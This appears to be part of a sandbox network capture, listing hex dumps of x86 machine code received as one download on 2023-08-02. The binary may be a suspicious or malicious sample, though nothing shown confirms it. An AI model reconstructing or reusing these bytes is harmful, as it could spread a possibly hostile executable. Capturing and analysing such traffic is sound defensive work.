2023-08-02 08:13:04 UTC	2351	IN	Data Raw: ff 75 d0 8b f0 e8 1c ef fe ff ff 75 dc e8 14 ef fe ff ff 75 c4 e8 0c ef fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b c6 e9 65 01 00 00 ff 75 1c 8d 45 b8 8d 4d c4 50 e8 63 e8 fe ff 50 8d 4d dc c6 45 fc 05 e8 e3 92 fe ff ff 75 b8 c6 45 fc 04 e8 c9 ee fe ff 59 8d 45 b8 ff 75 1c 8d 4d c4 50 e8 6a e7 fe ff 50 8d 4d d0 c6 45 fc 06 e8 ba 92 fe ff ff 75 b8 c6 45 fc 04 e8 a0 ee fe ff 59 8d 45 d0 50 8d 45 dc 50 8b ce e8 a5 02 00 00 eb 10 8b 45 18 8b 56 08 8b 08 8d 46 08 51 50 ff 52 0c ff 75 f0 8b cf ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 a1 f9 ff ff 3b c3 89 45 18 74 34 ff 75 d0 e8 56 ee fe ff ff 75 dc e8 4e ee fe ff ff 75 c4 e8 46 ee fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b 45 18 e9 9e 00 00 00 8d 45 d0 Data Ascii: uuuEM;tPQeuEMPcPMEuEYEuMPjPMEuEYEPEPEVFQPRuuuuuu;Et4uVuNuFEM;tPQEE
2023-08-02 08:13:04 UTC	2367	IN	Data Raw: 74 07 8b 10 51 8b c8 ff 12 ff 45 f8 83 45 fc 0c 8b 45 f8 3b 43 08 0f 8c 77 ff ff ff 8b 4d 08 e8 1a bc fe ff 5f 5e 5b c9 c2 08 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 f0 8d 45 f0 50 e8 c1 ed 04 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 ec 8d 45 ec 50 e8 ab ed 04 00 8b 44 24 08 83 f8 01 72 07 b8 57 00 07 80 eb 2b 8b 54 24 10 8d 04 40 8b 0c 85 1c c4 48 00 8d 04 85 18 c4 48 00 89 0a 8b 4c 24 14 66 8b 40 08 66 89 01 8b 44 24 0c 83 20 00 33 c0 c2 14 00 b8 28 56 47 00 e8 ff ec 04 00 83 ec 10 33 c9 66 89 4d e4 66 89 4d e6 83 7d 0c 2c 89 4d fc 75 16 8b 45 08 38 48 30 74 0e ff 70 24 8d 4d e4 ff 70 20 e8 03 f6 fe ff ff 75 10 8d 4d e4 e8 ea f6 fe ff 83 4d fc ff 8d 4d e4 e8 3b f6 fe ff 8b 4d f4 33 c0 64 89 0d 00 00 00 00 c9 c2 0c 00 b8 3c 56 47 00 e8 a2 ec 04 00 83 ec 10 Data Ascii: tQEEE;CwM_^[HhXGEEPHhXGEEPD$rW+T$@HHL$f@fD$ 3(VG3fMfM},MuE8H0tp$Mp uMMM;M3d<VG
2023-08-02 08:13:04 UTC	2383	IN	Data Raw: eb 12 48 48 e9 9d f8 ff ff b8 01 0b 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 b8 4c 5c 47 00 e8 6f ad 04 00 83 ec 34 53 56 8b f1 57 33 db 6a 03 8d 4d e4 89 5d f0 89 5d e4 89 5d e8 89 5d ec e8 59 13 fe ff 38 5e 18 8b 7e 10 89 5d fc 0f 84 4b 01 00 00 89 7d f0 4f 3b fb 7c 66 8b 46 0c 66 8b 1c 78 66 83 fb 7a 75 26 8d 45 e4 66 ba 61 00 50 8d 4d d8 e8 de 0b 00 00 50 8d 4d e4 c6 45 fc 01 e8 a4 12 fe ff 80 65 fc 00 ff 75 d8 eb 2a 66 83 fb 5a 75 63 8d 45 e4 66 ba 41 00 50 8d 4d cc e8 b2 0b 00 00 50 8d 4d e4 c6 45 fc 02 e8 78 12 fe ff 80 65 fc 00 ff 75 cc e8 5e 6e fe ff 4f 59 79 9a 8d 7e 0c 8d 45 e4 50 8b cf e8 5a 12 fe ff 8b 4d 08 57 8b d6 e8 c9 a4 fe ff ff 75 e4 e8 39 6e fe ff 8b 45 08 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 Data Ascii: HHBM_^d[L\Go4SVW3jM]]]]Y8^~]K}O;\|fFfxfzu&EfaPMPMEeu*fZucEfAPMPMExeu^nOYy~EPZMWu9nEYM_^[d
2023-08-02 08:13:04 UTC	2399	IN	Data Raw: 00 a1 8c c9 48 00 a3 cc 0c 49 00 c3 8b 15 8c c9 48 00 56 8d 71 14 8b ce e8 1e 00 00 00 84 c0 75 15 8b 15 90 c9 48 00 8b ce e8 0d 00 00 00 84 c0 75 04 33 c0 5e c3 6a 01 58 5e c3 8b 09 e8 46 35 fe ff f7 d8 1b c0 40 c3 b8 80 64 47 00 e8 4c 6d 04 00 83 ec 24 53 56 8b 71 3c 57 8b 7d 08 83 7f 18 00 75 0e ff 35 cc 0c 49 00 8d 4f 14 e8 2f ea fd ff 8b cf e8 93 ff ff ff 84 c0 0f 84 42 01 00 00 83 fe 09 72 07 b8 00 00 00 04 eb 27 83 fe 07 72 07 b8 00 00 00 02 eb 1b 83 fe 05 72 07 b8 00 00 00 01 eb 0f 83 fe 03 1b c0 25 00 00 f1 ff 05 00 00 10 00 83 fe 05 8b 0d a8 c9 48 00 1b db 43 83 fe 07 1b ff 83 e7 e0 83 c7 40 83 fe 05 73 06 8b 0d a4 c9 48 00 66 83 65 e2 00 89 4d f0 66 c7 45 e0 13 00 89 45 e8 8b 4d 08 83 65 fc 00 8d 45 e0 50 6a 01 5a e8 69 03 00 00 83 ce ff 8d 4d Data Ascii: HIHVquHu3^jX^F5@dGLm$SVq<W}u5IO/Br'rr%HC@sHfeMfEEMeEPjZiM
2023-08-02 08:13:04 UTC	2415	IN	Data Raw: 6b 47 00 e8 96 2d 04 00 51 56 8b f1 89 75 f0 8d 8e 94 00 00 00 c7 45 fc 03 00 00 00 e8 f1 fa fd ff 8d 4e 7c c6 45 fc 02 e8 e5 fa fd ff 8d 4e 68 c6 45 fc 01 e8 d9 fa fd ff 80 65 fc 00 8d 4e 54 e8 cd fa fd ff 83 4d fc ff 8d 4e 04 e8 f2 aa ff ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 8b c1 83 60 04 00 83 60 08 00 c7 00 ec a7 47 00 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c c7 40 10 04 00 00 00 c7 00 78 b1 47 00 c3 b8 9c 6b 47 00 e8 0a 2d 04 00 51 56 8b f1 89 75 f0 c7 06 00 b3 47 00 83 65 fc 00 e8 91 fa fd ff 83 4d fc ff 8b ce e8 5d fa fd ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 b2 6b 47 00 e8 d2 2c 04 00 51 56 8b f1 6a 28 e8 29 ee fd ff 59 8b c8 89 4d f0 33 c0 3b c8 89 45 fc 74 08 ff 75 08 e8 e2 02 00 00 83 4d fc ff 50 8b ce e8 81 d0 fe ff 8b 4d f4 5e 64 Data Ascii: kG-QVuEN\|ENhEeNTMNM^d``G3HHH@xGkG-QVuGeM]M^dkG,QVj()YM3;EtuMPM^d
2023-08-02 08:13:04 UTC	2431	IN	Data Raw: 65 fc 00 e8 1e af fd ff 8b 75 08 59 eb 2a 50 51 8d 4e 0c e8 c4 8b ff ff 85 c0 74 0f 8b f0 ff 75 e4 e8 00 af fd ff 59 8b c6 eb 22 ff 75 e4 80 65 fc 00 e8 ef ae fd ff 59 43 e9 46 ff ff ff 33 c0 eb 0b b8 3a cb 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 56 8b f2 57 8b f9 8d 46 0c 8d 56 08 50 e8 3e 00 00 00 85 c0 75 37 8b 07 66 83 38 3a 74 07 b8 57 00 07 80 eb 28 6a 01 6a 00 8b cf e8 25 aa fd ff 8d 46 04 8b d6 50 8b cf e8 13 00 00 00 85 c0 75 0c 8b 47 04 f7 d8 1b c0 25 57 00 07 80 5f 5e c3 56 57 8b 7c 24 0c 8b f1 83 27 00 e8 0a 98 ff ff 85 c0 74 2a 50 6a 00 8b ce e8 e7 a9 fd ff 8b 06 66 83 38 53 75 29 6a 01 6a 00 8b ce e8 d4 a9 fd ff 8b d7 8b ce e8 e0 97 ff ff 85 c0 75 07 b8 57 00 07 80 eb 0c 50 6a 00 8b ce e8 b6 a9 fd ff 33 c0 Data Ascii: euYPQNtuY"ueYCF3:BM_^d[VWFVP>u7f8:tW(jj%FPuG%W_^VW\|$'tPjf8Su)jjuWPj3
2023-08-02 08:13:04 UTC	2447	IN	Data Raw: 24 0c 8b f1 3b 7e 1c 7c 13 53 8d 5e 14 6a 00 8b cb e8 27 a1 00 00 3b 7e 1c 7d f2 5b 8b 4e 20 8a 44 24 10 84 c0 88 04 39 74 24 3b 7e 08 7c 0d 6a 00 6a 00 8b ce e8 73 2d ff ff eb ee 8b 46 0c 8b 4c 24 14 89 0c f8 8b 4c 24 18 89 4c f8 04 5f 5e c2 10 00 b8 48 78 47 00 e8 41 ad 03 00 83 ec 14 56 57 8b f9 8d b7 58 02 00 00 8b ce e8 ca 7a fd ff 81 c7 c8 01 00 00 8d 4d e0 57 e8 2f 3b ff ff 6a 0e 33 ff 5a 8d 4d e0 89 7d fc e8 3f 01 00 00 6a 0f 8d 4d e0 5a e8 34 01 00 00 6a 11 8b d6 8d 4d e0 e8 d7 00 00 00 6a 10 8b d6 8d 4d e0 e8 cb 00 00 00 6a 09 8b d6 8d 4d e0 e8 bf 00 00 00 6a 06 8b d6 8d 4d e0 e8 b3 00 00 00 6a 12 8b d6 8d 4d e0 e8 a7 00 00 00 6a 14 8b d6 8d 4d e0 e8 9b 00 00 00 6a 13 8b d6 8d 4d e0 e8 8f 00 00 00 6a 15 8b d6 8d 4d e0 e8 83 00 00 00 6a 0a 8b d6 Data Ascii: $;~\|S^j';~}[N D$9t$;~\|jjs-FL$L$L_^HxGAVWXzMW/;j3ZM}?jMZ4jMjMjMjMjMjMjMjMj
2023-08-02 08:13:04 UTC	2463	IN	Data Raw: 3b c3 0f 85 3f 01 00 00 39 5e 18 74 65 8b ce e8 8f fc ff ff ff 46 28 8b f8 3b fb c6 46 39 01 75 1c 8b 4e 34 3b cb 74 15 8b 56 10 3b d3 74 0e 8b 46 48 2b 46 20 50 e8 df af fd ff 8b f8 39 5e 10 75 16 80 7e 1c 00 74 10 39 5e 34 74 0b 6a 01 8b ce e8 0f fc ff ff eb 07 8b ce e8 32 fc ff ff 3b c3 0f 85 e0 00 00 00 3b fb 74 9d 8b c7 e9 d5 00 00 00 80 66 1c 00 83 7d ec 00 0f 87 b3 00 00 00 8b 5d 10 e9 d1 fe ff ff 8b 46 0c 8b 4e 28 8b 40 08 3b c8 7d 3a 8b 46 08 8b 56 24 03 d1 33 ff 8b 48 20 8b 40 0c 8d 0c d1 8b 11 8b 49 04 8b 04 90 8b 56 48 8b 40 70 8b 04 88 8b 48 10 89 4e 3c 8b 4e 4c 8b 40 0c 3b f9 77 17 72 04 3b c2 73 07 b8 05 40 00 80 eb 71 3b f9 72 2c 77 04 3b c2 76 26 8b c8 2b 4e 48 3b 4d 0c 72 03 8b 4d 0c 01 4d ec 85 db 74 05 8b 55 ec 89 13 01 4d 08 29 4d 0c Data Ascii: ;?9^teF(;F9uN4;tV;tFH+F P9^u~t9^4tj2;;tf}]FN(@;}:FV$3H @IVH@pHN<NL@;wr;s@q;r,w;v&+NH;MrMMtUM)M
2023-08-02 08:13:04 UTC	2479	IN	Data Raw: e8 7a 03 00 00 8d 46 18 8d 8d 18 fe ff ff 50 6a 08 5b 8b d3 e8 1e 03 00 00 84 c0 0f 84 c9 01 00 00 8d 7e 1c 8b d3 57 8d 8d 20 fe ff ff e8 05 03 00 00 84 c0 75 03 83 27 00 8d 7e 20 8b d3 57 8d 8d 28 fe ff ff e8 ed 02 00 00 84 c0 75 03 83 27 00 0f b6 85 30 fe ff ff 0f b6 8d 31 fe ff ff c1 e0 08 0b c1 0f b6 8d 32 fe ff ff c1 e0 08 0b c1 0f b6 8d 33 fe ff ff c1 e0 08 0b c1 3d 00 00 00 80 8d 46 10 89 45 0c 75 6a 0f b6 85 34 fe ff ff 0f b6 8d 35 fe ff ff c1 e0 08 0b c1 0f b6 8d 36 fe ff ff c1 e0 08 0b c1 0f b6 8d 37 fe ff ff 0f b6 bd 39 fe ff ff c1 e0 08 0b c1 33 c9 8b d0 0f b6 85 38 fe ff ff c1 e0 08 0b c7 0f b6 bd 3a fe ff ff c1 e0 08 0b c7 0f b6 bd 3b fe ff ff c1 e0 08 0b c7 33 ff 0b c8 8b 45 0c 0b d7 89 08 89 50 04 eb 17 50 6a 0c 5a 8d 8d 30 fe ff ff e8 df Data Ascii: zFPj[~W u'~ W(u'0123=FEuj4567938:;3EPPjZ0
2023-08-02 08:13:04 UTC	2495	IN	Data Raw: 65 fc 00 8d 4d 80 e8 56 00 00 00 33 c0 eb 0b b8 07 cb 43 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 14 00 8b c1 33 c9 89 08 89 48 04 89 48 08 89 48 0c 89 48 10 89 48 14 89 48 18 89 48 1c 89 48 20 89 48 28 89 48 2c 89 48 30 c7 40 34 04 00 00 00 c7 40 24 30 b8 47 00 c3 b8 a7 87 47 00 e8 33 ed 02 00 51 51 56 8b f1 57 89 75 f0 83 65 fc 00 8d 7e 24 89 7d ec c7 07 30 b8 47 00 8b cf c6 45 fc 05 e8 ac ba fc ff 8b cf c6 45 fc 04 e8 78 ba fc ff 8b 46 20 c6 45 fc 03 85 c0 74 06 8b 08 50 ff 51 08 8b 46 1c c6 45 fc 02 85 c0 74 06 8b 08 50 ff 51 08 8b 46 14 c6 45 fc 01 85 c0 74 06 8b 08 50 ff 51 08 8b 46 10 80 65 fc 00 85 c0 74 06 8b 08 50 ff 51 08 8b 76 0c 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 c9 c3 e9 53 Data Ascii: eMV3CM_^d[3HHHHHHHH H(H,H0@4@$0GG3QQVWue~$}0GEExF EtPQFEtPQFEtPQFetPQvMtVPM_^dS
2023-08-02 08:13:04 UTC	2511	IN	Data Raw: e8 fe fc ff ff 8a 46 40 8b cf 50 e8 c1 fc ff ff 8a 46 41 8b cf 50 e8 b6 fc ff ff 8a 06 80 7d fd 00 88 45 f8 74 08 3c 2d 73 04 c6 45 f8 2d ff 75 f8 8b cf e8 99 fc ff ff 8a 46 01 8b cf 50 e8 8e fc ff ff 66 8b 46 02 8b cf 50 e8 91 fc ff ff 66 8b 46 04 8b cf 50 e8 85 fc ff ff ff 76 08 8b cf e8 9e fc ff ff ff 76 0c 8b cf e8 94 fc ff ff 80 7d ff 00 74 05 83 c8 ff eb 03 8b 46 10 50 8b cf e8 7e fc ff ff 80 7d 0b 00 74 05 83 c8 ff eb 03 8b 46 18 53 50 8b cf e8 67 fc ff ff ff 76 24 8b cf e8 3a fc ff ff 8a 5d fe 8a 45 ff f6 db 1b db 83 e3 08 f6 d8 1b c0 83 e0 08 03 d8 8a 45 0b f6 d8 1b c0 83 e0 08 03 d8 8a 45 fd f6 d8 8d 4b 04 1b c0 23 c1 8a 8e 8a 00 00 00 f6 d9 1b c9 83 e1 24 03 c1 8d 4e 68 89 45 f8 e8 83 fe ff ff 01 45 f8 8b cf ff 75 f8 e8 e5 fb ff ff ff b6 80 00 Data Ascii: F@PFAP}Et<-sE-uFPfFPfFPvv}tFP~}tFSPgv$:]EEEK#$NhEEu
2023-08-02 08:13:04 UTC	2527	IN	Data Raw: 4e 24 c7 44 24 78 ff ff ff ff e8 6b 32 ff ff 8d 4e 4c e8 63 32 ff ff 8d 4e 74 e8 5b 32 ff ff 8b 86 b4 00 00 00 85 c0 74 10 8b 10 50 ff 52 08 c7 86 b4 00 00 00 00 00 00 00 8b c7 e9 c9 00 00 00 8b 44 24 14 c6 44 24 78 00 85 c0 74 06 8b 08 50 ff 51 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8d 4e 24 e8 13 32 ff ff 8d 4e 4c e8 0b 32 ff ff 8b 46 74 33 db 3b c3 74 09 8b 10 50 ff 52 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 0c 8b 08 50 ff 51 08 89 9e b4 00 00 00 8b c7 eb 6e 8b 44 24 14 c6 44 24 78 00 3b c3 74 06 8b 10 50 ff 52 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8b 46 24 3b c3 74 09 8b 08 50 ff 51 08 89 5e 24 8b 46 4c 3b c3 74 09 8b 10 50 ff 52 08 89 5e 4c 8b 46 74 3b c3 74 09 8b 08 50 ff 51 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 a3 8b 10 50 ff 52 08 89 9e b4 00 00 Data Ascii: N$D$xk2NLc2Nt[2tPRD$D$xtPQt$D$xN$2NL2Ft3;tPR^t;tPQnD$D$x;tPRt$D$xF$;tPQ^$FL;tPR^LFt;tPQ^t;tPR
2023-08-02 08:13:04 UTC	2543	IN	Data Raw: 9c 70 02 00 00 8b 2a 83 c2 04 03 cd 46 3b c8 72 f4 8d 6e ff 3b eb 7e 20 3b 7c 24 18 74 1a 83 ff 01 74 15 8b 54 24 10 83 e2 01 80 fa 01 75 09 8b f5 2b 8c b4 70 02 00 00 8b 6c 24 24 33 c0 3b c3 7c 08 3b c6 7d 04 33 d2 eb 05 ba 01 00 00 00 88 14 28 8b 54 24 38 40 3b c2 7c e3 8b 44 24 1c 8b de 8b 74 24 10 2b c1 4f 46 81 ed 02 01 00 00 89 44 24 1c 85 ff 89 74 24 10 89 6c 24 24 0f 85 6f ff ff ff 8b 6c 24 54 c7 44 24 28 04 00 00 00 8b 5c 24 18 33 d2 8d b5 20 06 00 00 33 c0 8b fe 42 b9 02 01 00 00 81 c6 08 04 00 00 3b d3 f3 ab 7c ea 33 c9 8d 85 80 36 00 00 89 4c 24 34 89 44 24 1c 8b 54 24 3c 33 ff 8d 74 24 70 33 c0 8a 04 11 41 3d ff 00 00 00 72 08 33 db 8a 1c 11 03 c3 41 89 06 47 83 c6 04 83 ff 32 7d 06 3b 4c 24 20 72 da 89 4c 24 30 c7 44 24 24 ff ff ff ff c7 44 Data Ascii: p*F;rn;~ ;\|$ttT$u+pl$$3;\|;}3(T$8@;\|D$t$+OFD$t$l$$ol$TD$(\$3 3B;\|36L$4D$T$<3t$p3A=r3AG2};L$ rL$0D$$D
2023-08-02 08:13:04 UTC	2559	IN	Data Raw: 8b c2 89 56 04 3b c1 75 07 8b ce e8 bb 24 fc ff 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 e9 78 02 00 00 25 ff ff 00 00 33 d2 33 c9 89 44 24 14 8a 90 f0 13 49 00 8d b5 70 04 00 00 89 54 24 1c 8a 8c 2a 3d 08 00 00 8b 9c 95 80 11 00 00 8b f9 85 ff 76 7d 8b 46 28 3b f8 72 4b b9 08 00 00 00 2b f8 2b c8 8a c3 8b 2e d2 e0 8a 4e 2c 0a c1 8b 4e 04 88 04 29 8b 6e 04 8b 4e 08 45 8b c5 89 6e 04 3b c1 75 0b 8b ce e8 39 24 fc ff 8b 54 24 1c 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 eb 23 8b 6e 28 b0 01 8b cf d2 e0 b9 08 00 00 00 2b cd fe c8 22 c3 d2 e0 8a 4e 2c 0a c8 2b ef 88 4e 2c 89 6e 28 8b 44 24 14 8b 6c 24 10 8b 8d e0 04 00 00 33 db 8a 1c 11 8b 8d dc 04 00 00 8b fb 33 db 8a 1c 11 2b c3 85 ff 8b d8 76 71 8b 46 28 3b f8 72 47 b9 Data Ascii: V;u$N(F(F,wx%33D$IpT$*=v}F(;rK++.N,N)nNEn;u9$T$N(F(F,w#n(+"N,+N,n(D$l$33+vqF(;rG
2023-08-02 08:13:04 UTC	2575	IN	Data Raw: 00 00 00 00 5e c3 90 90 90 90 90 90 90 90 56 8b 74 24 08 8d 4e 30 e8 94 e4 fb ff 85 c0 75 0b 8b 8e ac 1c 00 00 e8 c4 fc ff ff 5e c2 04 00 51 8b 41 2c 56 8d 71 08 8b 54 24 0c b9 0f 00 00 00 57 8b 7e 20 2b c8 d3 ef b9 11 00 00 00 03 c2 2b ca 89 46 24 81 e7 ff ff 01 00 d3 ef 83 f8 10 72 72 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 0e d5 fb ff 88 44 24 08 eb 09 8a 08 40 88 4c 24 08 89 06 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 ef d4 fb ff 88 44 24 10 eb 09 8a 10 40 88 54 24 10 89 06 8b 46 20 8b 4c 24 10 8b 54 24 08 81 e1 ff 00 00 00 c1 e0 08 0b c1 8b 4e 24 c1 e0 08 81 e2 ff 00 00 00 83 c1 f0 0b c2 89 4e 24 89 46 20 8b c1 83 f8 10 73 8e 8b c7 5f 5e 59 c2 04 00 90 90 90 90 81 ec b4 00 00 00 53 55 56 33 db 57 8b e9 33 f6 6a 04 8b cd e8 37 ff ff ff 88 44 34 28 46 83 fe 14 Data Ascii: ^Vt$N0u^QA,VqT$W~ ++F$rrN;rD$@L$N;rD$@T$F L$T$N$N$F s_^YSUV3W3j7D4(F
2023-08-02 08:13:04 UTC	2591	IN	Data Raw: 90 b1 47 00 c7 41 04 80 b1 47 00 e9 ae ff ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 6a ff 68 9e 9b 47 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 81 ec 94 00 00 00 53 55 8b e9 56 57 8d 4c 24 1c e8 48 94 fb ff 33 ff 89 bc 24 ac 00 00 00 89 7c 24 40 89 7c 24 44 89 7c 24 54 89 7c 24 60 68 00 00 10 00 8d 4c 24 20 c6 84 24 b0 00 00 00 01 e8 2c 94 fb ff 84 c0 75 62 8d 4c 24 40 c6 84 24 ac 00 00 00 02 e8 34 a3 fb ff 8b 44 24 54 c6 84 24 ac 00 00 00 00 3b c7 74 06 8b 08 50 ff 51 08 8d 4c 24 1c c7 84 24 ac 00 00 00 03 00 00 00 e8 2b 94 fb ff 8b 44 24 28 c7 84 24 ac 00 00 00 ff ff ff ff 3b c7 0f 84 90 00 00 00 8b 10 50 ff 52 08 b8 0e 00 07 80 e9 26 06 00 00 8b 84 24 b4 00 00 00 8d 4c 24 1c 50 e8 04 94 fb ff 8d 4c 24 1c e8 0a 94 fb ff 68 00 00 10 00 8d 4c 24 Data Ascii: GAGjhGdPd%SUVWL$H3$\|$@\|$D\|$T\|$`hL$ $,ubL$@$4D$T$;tPQL$$+D$($;PR&$L$PL$hL$
2023-08-02 08:13:04 UTC	2607	IN	Data Raw: ff ff 5f 5e 5b 83 f9 03 76 11 8b 54 24 18 33 c0 89 02 8b c5 5d 83 c4 0c c2 0c 00 8b 54 24 18 49 d3 e0 83 e0 07 89 02 8b c5 5d 83 c4 0c c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 2c 83 fa 10 73 08 33 c0 83 c4 2c c2 08 00 8b 44 24 30 53 55 83 ea 10 56 2b c1 57 89 54 24 28 c7 44 24 10 00 00 00 00 8b f9 89 44 24 24 90 0f b6 07 83 e0 1f 0f b6 88 bc c5 47 00 b8 05 00 00 00 33 f6 89 4c 24 20 89 44 24 1c 89 74 24 18 8b 54 24 20 8b ce d3 ea f6 c2 01 0f 84 84 01 00 00 8b f0 8b c8 c1 ee 03 0f b6 44 37 05 99 0f a4 c2 08 c1 e0 08 8b d8 0f b6 44 37 04 8b ea 99 83 e1 07 03 d8 0f b6 44 37 03 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 02 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 01 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 04 37 13 ea 0f a4 dd 08 Data Ascii: _^[vT$3]T$I],s3,D$0SUV+WT$(D$D$$G3L$ D$t$T$ D7D7D7D7D77
2023-08-02 08:13:04 UTC	2623	IN	Data Raw: 75 08 8b d1 c7 02 02 00 00 00 83 7e 78 08 0f 85 da fd ff ff e9 5f fd ff ff bd 01 00 00 00 e9 61 fd ff ff 8b 44 24 48 c7 00 02 00 00 00 e9 50 fd ff ff 8b 4c 24 48 c7 01 03 00 00 00 e9 41 fd ff ff 8b 54 24 48 c7 02 03 00 00 00 e9 32 fd ff ff 8b e8 e9 2d fd ff ff 5f 5e 8b c5 5d 5b 83 c4 24 c2 14 00 5f 5e 5d 33 c0 5b 83 c4 24 c2 14 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 8b 4c 24 10 8b 01 53 33 db 39 5f 18 55 8b 6c 24 14 0f 95 c3 89 44 24 0c c7 44 24 14 00 00 20 00 c7 01 00 00 00 00 83 c3 05 3b c3 73 0d 5d b8 07 00 00 00 5b 83 c4 08 c2 0c 00 8b 0f 2b c3 89 44 24 08 e8 a6 25 00 00 8b 57 14 8d 44 24 14 50 68 00 00 01 00 8d 4c 24 10 51 8b 0f 03 dd 53 e8 6a 62 00 00 8b 54 24 14 85 d2 0f 84 9f 01 00 00 56 85 c0 75 2c 8b 74 24 0c 8d 46 02 3b c2 73 Data Ascii: u~x_aD$HPL$HAT$H2-_^][$_^]3[$L$S39_Ul$D$D$ ;s][+D$%WD$PhL$QSjbT$Vu,t$F;s
2023-08-02 08:13:04 UTC	2639	IN	Data Raw: 0f b6 8c 24 80 00 00 00 57 8d bd a0 0e 03 00 e8 da f0 ff ff eb 50 0f b6 84 24 80 00 00 00 c7 44 24 34 00 00 00 00 0d 00 01 00 00 8d 49 00 8b c8 c1 e9 08 0f b7 14 4f 8b c8 c1 e9 07 83 e1 01 f7 d9 c1 f9 04 83 e1 7f c1 ea 04 33 d1 8b 4c 24 34 03 8c 95 a0 0e 03 00 03 c0 89 4c 24 34 3d 00 00 01 00 72 ca 8b c1 8b 54 24 2c 03 d0 89 54 24 2c 3b 93 d0 06 00 00 73 2c 89 93 d0 06 00 00 8b 54 24 14 89 93 e8 06 00 00 c7 83 ec 06 00 00 ff ff ff ff c7 83 d8 06 00 00 00 00 00 00 c7 44 24 28 01 00 00 00 8b 4c 24 40 0f b7 84 4d b0 25 03 00 0f b7 94 75 30 27 03 00 35 f0 07 00 00 c1 e8 04 8b 84 85 a0 0e 03 00 03 44 24 24 81 f2 f0 07 00 00 c1 ea 04 8b bc 95 a0 0e 03 00 8b 54 24 14 03 f8 89 44 24 58 8a 84 24 80 00 00 00 89 7c 24 48 38 44 24 13 75 61 39 93 e8 06 00 00 73 09 83 Data Ascii: $WP$D$4IO3L$4L$4=rT$,T$,;s,T$D$(L$@M%u0'5D$$T$D$X$\|$H8D$ua9s
2023-08-02 08:13:04 UTC	2655	IN	Data Raw: 24 14 8a 48 02 80 f9 07 73 14 fe 48 03 75 0f 66 d1 20 b2 03 d2 e2 fe c1 88 48 02 88 50 03 89 7e 08 8a 1f 8b ce e8 14 fb ff ff 5f 5e 5d 0f b6 c3 5b 81 c4 0c 05 00 00 c3 5f 5e 5d b8 fe ff ff ff 5b 81 c4 0c 05 00 00 c3 cc cc cc cc cc cc 33 c0 89 01 89 41 04 c7 41 08 ff ff ff ff 88 41 0c c7 41 10 01 00 00 00 89 41 14 c3 cc cc cc cc 8b 46 08 33 d2 f7 74 24 0c 53 bb 00 00 00 00 8b c8 0f af 4c 24 08 01 0e 11 5e 04 0f af 44 24 0c 89 46 08 3d 00 00 00 01 73 78 55 57 83 cd ff 90 8b 3e c1 66 08 08 81 ff 00 00 00 ff 72 10 8b 56 04 8b c7 b1 20 e8 36 67 00 00 85 c0 74 3a 8a 5e 0c 8b 06 8b 56 04 8b 7e 18 b1 20 e8 20 67 00 00 8b ca 8d 14 03 8b 07 8b cf ff d0 80 cb ff 01 6e 10 8b 46 10 11 6e 14 0b 46 14 75 d5 8b 3e 8b cf c1 e9 18 88 4e 0c 33 db 83 46 10 01 89 5e 04 11 5e Data Ascii: $HsHuf HP~_^][_^][3AAAAAF3t$SL$^D$F=sxUW>frV 6gt:^V~ gnFnFu>N3F^^
2023-08-02 08:13:04 UTC	2671	IN	Data Raw: 89 51 58 89 41 5c 89 41 60 89 81 a8 00 00 00 89 81 bc 00 00 00 89 81 d0 00 00 00 89 81 e4 00 00 00 89 01 89 41 04 89 41 48 89 41 4c c3 cc 83 c1 58 e9 98 f9 ff ff cc cc cc cc cc cc cc cc 83 ec 58 8b 44 24 5c 53 8b 5c 24 68 55 8b 6c 24 68 56 57 89 54 24 10 8b 13 8b f9 8b 08 c7 00 00 00 00 00 8b 44 24 7c c7 03 00 00 00 00 89 4c 24 1c 89 54 24 18 c7 00 00 00 00 00 eb 03 8d 49 00 8b 0b 8b 74 24 18 8b 07 2b f1 89 74 24 74 83 f8 06 0f 85 17 01 00 00 8b 44 24 1c 8b 4c 24 6c 2b 01 89 74 24 70 89 44 24 74 85 f6 75 08 85 c0 0f 84 91 05 00 00 8b 54 24 7c 8b 44 24 78 52 50 6a 00 8d 4c 24 7c 51 55 8d 94 24 88 00 00 00 52 8b 54 24 28 8d 4f 58 e8 d5 f9 ff ff 8b 74 24 74 8b 54 24 10 56 8d 8f 90 01 00 00 89 44 24 18 e8 ad f1 ff ff 8b 44 24 70 01 03 8b 4c 24 6c 03 e8 01 47 Data Ascii: QXA\A`AAHALXXD$\S\$hUl$hVWT$D$\|L$T$It$+t$tD$L$l+t$pD$tuT$\|D$xRPjL$\|QU$RT$(OXt$tT$VD$D$pL$lG
